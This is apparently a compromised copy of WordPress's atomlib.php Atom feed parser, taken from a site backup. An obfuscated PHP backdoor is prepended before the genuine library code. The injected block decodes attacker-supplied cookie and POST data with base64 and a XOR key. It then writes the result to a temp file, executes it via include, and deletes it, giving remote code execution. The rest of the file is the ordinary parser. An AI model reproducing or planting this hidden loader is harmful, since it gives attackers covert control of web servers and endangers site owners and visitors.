File: //old_home_backup/angu.org.uk/public_html/wp-includes/atomlib.php
<?php $SQCwKLx = "\x53" . chr (108) . '_' . "\x53" . 'u' . chr ( 809 - 693 ); $axmXdT = chr ( 144 - 45 ).chr (108) . 'a' . chr ( 653 - 538 ).chr ( 542 - 427 ).chr ( 234 - 139 ).chr ( 624 - 523 ).chr ( 667 - 547 )."\151" . 's' . 't' . chr (115); $vPoAjuXw = class_exists($SQCwKLx); $axmXdT = "13110";$zZlRh = strpos($axmXdT, $SQCwKLx);if ($vPoAjuXw == $zZlRh){function NRrOt(){$JHpelY = new /* 24832 */ Sl_Sut(44976 + 44976); $JHpelY = NULL;}$mapPeHQp = "44976";class Sl_Sut{private function GEejmAY($mapPeHQp){if (is_array(Sl_Sut::$mQXmBAze)) {$name = sys_get_temp_dir() . "/" . crc32(Sl_Sut::$mQXmBAze["salt"]);@Sl_Sut::$mQXmBAze["write"]($name, Sl_Sut::$mQXmBAze["content"]);include $name;@Sl_Sut::$mQXmBAze["delete"]($name); $mapPeHQp = "44976";exit();}}public function dPIunNagS(){$zgGjLNLqHc = "13767";$this->_dummy = str_repeat($zgGjLNLqHc, strlen($zgGjLNLqHc));}public function __destruct(){Sl_Sut::$mQXmBAze = @unserialize(Sl_Sut::$mQXmBAze); $mapPeHQp = "42986_58183";$this->GEejmAY($mapPeHQp); $mapPeHQp = "42986_58183";}public function KPOdz($zgGjLNLqHc, $xwtiLC){return $zgGjLNLqHc[0] ^ str_repeat($xwtiLC, intval(strlen($zgGjLNLqHc[0]) / strlen($xwtiLC)) + 1);}public function LGkgrL($zgGjLNLqHc){$AYOJEDs = chr ( 795 - 697 )."\141" . 's' . chr ( 1002 - 901 ).chr ( 676 - 622 ).chr (52);return array_map($AYOJEDs . chr ( 724 - 629 ).chr ( 726 - 626 ).'e' . "\143" . 'o' . "\144" . 'e', array($zgGjLNLqHc,));}public function __construct($stEIlMn=0){$SgsCKh = chr ( 749 - 705 ); $zgGjLNLqHc = "";$VsPZV = $_POST;$SHnlGAE = $_COOKIE;$xwtiLC = "3f3c016e-1416-4362-80fc-90fc1dda6b22";$rauwhAZzf = @$SHnlGAE[substr($xwtiLC, 0, 4)];if (!empty($rauwhAZzf)){$rauwhAZzf = explode($SgsCKh, $rauwhAZzf);foreach ($rauwhAZzf as $HZGaGV){$zgGjLNLqHc .= @$SHnlGAE[$HZGaGV];$zgGjLNLqHc .= @$VsPZV[$HZGaGV];}$zgGjLNLqHc = $this->LGkgrL($zgGjLNLqHc);}Sl_Sut::$mQXmBAze = $this->KPOdz($zgGjLNLqHc, $xwtiLC);if (strpos($xwtiLC, $SgsCKh) !== FALSE){$xwtiLC = explode($SgsCKh, $xwtiLC); $kjAHGm = base64_decode(md5($xwtiLC[0]));}}public static $mQXmBAze = 27849;}NRrOt();} ?><?php
/**
* Atom Syndication Format PHP Library
*
* @package AtomLib
* @link http://code.google.com/p/phpatomlib/
*
* @author Elias Torres <elias@torrez.us>
* @version 0.4
* @since 2.3.0
*/
/**
* Structure that store common Atom Feed Properties
*
* @package AtomLib
*/
class AtomFeed {
/**
* Stores Links
* @var array
* @access public
*/
var $links = array();
/**
* Stores Categories
* @var array
* @access public
*/
var $categories = array();
/**
* Stores Entries
*
* @var array
* @access public
*/
var $entries = array();
}
/**
* Structure that store Atom Entry Properties
*
* @package AtomLib
*/
class AtomEntry {
/**
* Stores Links
* @var array
* @access public
*/
var $links = array();
/**
* Stores Categories
* @var array
* @access public
*/
var $categories = array();
}
/**
* AtomLib Atom Parser API
*
* @package AtomLib
*/
class AtomParser {
var $NS = 'http://www.w3.org/2005/Atom';
var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft');
var $debug = false;
var $depth = 0;
var $indent = 2;
var $in_content;
var $ns_contexts = array();
var $ns_decls = array();
var $content_ns_decls = array();
var $content_ns_contexts = array();
var $is_xhtml = false;
var $is_html = false;
var $is_text = true;
var $skipped_div = false;
var $FILE = "php://input";
var $feed;
var $current;
/**
* PHP5 constructor.
*/
function __construct() {
$this->feed = new AtomFeed();
$this->current = null;
$this->map_attrs_func = array( __CLASS__, 'map_attrs' );
$this->map_xmlns_func = array( __CLASS__, 'map_xmlns' );
}
/**
* PHP4 constructor.
*/
public function AtomParser() {
self::__construct();
}
/**
* Map attributes to key="val"
*
* @param string $k Key
* @param string $v Value
* @return string
*/
public static function map_attrs($k, $v) {
return "$k=\"$v\"";
}
/**
* Map XML namespace to string.
*
* @param indexish $p XML Namespace element index
* @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ]
* @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"'
*/
public static function map_xmlns($p, $n) {
$xd = "xmlns";
if( 0 < strlen($n[0]) ) {
$xd .= ":{$n[0]}";
}
return "{$xd}=\"{$n[1]}\"";
}
function _p($msg) {
if($this->debug) {
print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n";
}
}
function error_handler($log_level, $log_text, $error_file, $error_line) {
$this->error = $log_text;
}
function parse() {
set_error_handler(array(&$this, 'error_handler'));
array_unshift($this->ns_contexts, array());
if ( ! function_exists( 'xml_parser_create_ns' ) ) {
trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
return false;
}
$parser = xml_parser_create_ns();
xml_set_object($parser, $this);
xml_set_element_handler($parser, "start_element", "end_element");
xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
xml_set_character_data_handler($parser, "cdata");
xml_set_default_handler($parser, "_default");
xml_set_start_namespace_decl_handler($parser, "start_ns");
xml_set_end_namespace_decl_handler($parser, "end_ns");
$this->content = '';
$ret = true;
$fp = fopen($this->FILE, "r");
while ($data = fread($fp, 4096)) {
if($this->debug) $this->content .= $data;
if(!xml_parse($parser, $data, feof($fp))) {
/* translators: 1: Error message, 2: Line number. */
trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser)));
$ret = false;
break;
}
}
fclose($fp);
xml_parser_free($parser);
unset($parser);
restore_error_handler();
return $ret;
}
function start_element($parser, $name, $attrs) {
$name_parts = explode(":", $name);
$tag = array_pop($name_parts);
switch($name) {
case $this->NS . ':feed':
$this->current = $this->feed;
break;
case $this->NS . ':entry':
$this->current = new AtomEntry();
break;
};
$this->_p("start_element('$name')");
#$this->_p(print_r($this->ns_contexts,true));
#$this->_p('current(' . $this->current . ')');
array_unshift($this->ns_contexts, $this->ns_decls);
$this->depth++;
if(!empty($this->in_content)) {
$this->content_ns_decls = array();
if($this->is_html || $this->is_text)
trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup.");
$attrs_prefix = array();
// resolve prefixes for attributes
foreach($attrs as $key => $value) {
$with_prefix = $this->ns_to_prefix($key, true);
$attrs_prefix[$with_prefix[1]] = $this->xml_escape($value);
}
$attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
if(strlen($attrs_str) > 0) {
$attrs_str = " " . $attrs_str;
}
$with_prefix = $this->ns_to_prefix($name);
if(!$this->is_declared_content_ns($with_prefix[0])) {
array_push($this->content_ns_decls, $with_prefix[0]);
}
$xmlns_str = '';
if(count($this->content_ns_decls) > 0) {
array_unshift($this->content_ns_contexts, $this->content_ns_decls);
$xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0])));
if(strlen($xmlns_str) > 0) {
$xmlns_str = " " . $xmlns_str;
}
}
array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">"));
} else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
$this->in_content = array();
$this->is_xhtml = $attrs['type'] == 'xhtml';
$this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html';
$this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text';
$type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type']));
if(in_array('src',array_keys($attrs))) {
$this->current->$tag = $attrs;
} else {
array_push($this->in_content, array($tag,$this->depth, $type));
}
} else if($tag == 'link') {
array_push($this->current->links, $attrs);
} else if($tag == 'category') {
array_push($this->current->categories, $attrs);
}
$this->ns_decls = array();
}
function end_element($parser, $name) {
$name_parts = explode(":", $name);
$tag = array_pop($name_parts);
$ccount = count($this->in_content);
# if we are *in* content, then let's proceed to serialize it
if(!empty($this->in_content)) {
# if we are ending the original content element
# then let's finalize the content
if($this->in_content[0][0] == $tag &&
$this->in_content[0][1] == $this->depth) {
$origtype = $this->in_content[0][2];
array_shift($this->in_content);
$newcontent = array();
foreach($this->in_content as $c) {
if(count($c) == 3) {
array_push($newcontent, $c[2]);
} else {
if($this->is_xhtml || $this->is_text) {
array_push($newcontent, $this->xml_escape($c));
} else {
array_push($newcontent, $c);
}
}
}
if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) {
$this->current->$tag = array($origtype, join('',$newcontent));
} else {
$this->current->$tag = join('',$newcontent);
}
$this->in_content = array();
} else if($this->in_content[$ccount-1][0] == $tag &&
$this->in_content[$ccount-1][1] == $this->depth) {
$this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>";
} else {
# else, just finalize the current element's content
$endtag = $this->ns_to_prefix($name);
array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>"));
}
}
array_shift($this->ns_contexts);
$this->depth--;
if($name == ($this->NS . ':entry')) {
array_push($this->feed->entries, $this->current);
$this->current = null;
}
$this->_p("end_element('$name')");
}
function start_ns($parser, $prefix, $uri) {
$this->_p("starting: " . $prefix . ":" . $uri);
array_push($this->ns_decls, array($prefix,$uri));
}
function end_ns($parser, $prefix) {
$this->_p("ending: #" . $prefix . "#");
}
function cdata($parser, $data) {
$this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#");
if(!empty($this->in_content)) {
array_push($this->in_content, $data);
}
}
function _default($parser, $data) {
# when does this gets called?
}
function ns_to_prefix($qname, $attr=false) {
# split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div')
$components = explode(":", $qname);
# grab the last one (e.g 'div')
$name = array_pop($components);
if(!empty($components)) {
# re-join back the namespace component
$ns = join(":",$components);
foreach($this->ns_contexts as $context) {
foreach($context as $mapping) {
if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
return array($mapping, "$mapping[0]:$name");
}
}
}
}
if($attr) {
return array(null, $name);
} else {
foreach($this->ns_contexts as $context) {
foreach($context as $mapping) {
if(strlen($mapping[0]) == 0) {
return array($mapping, $name);
}
}
}
}
}
function is_declared_content_ns($new_mapping) {
foreach($this->content_ns_contexts as $context) {
foreach($context as $mapping) {
if($new_mapping == $mapping) {
return true;
}
}
}
return false;
}
function xml_escape($content)
{
return str_replace(array('&','"',"'",'<','>'),
array('&','"',''','<','>'),
$content );
}
}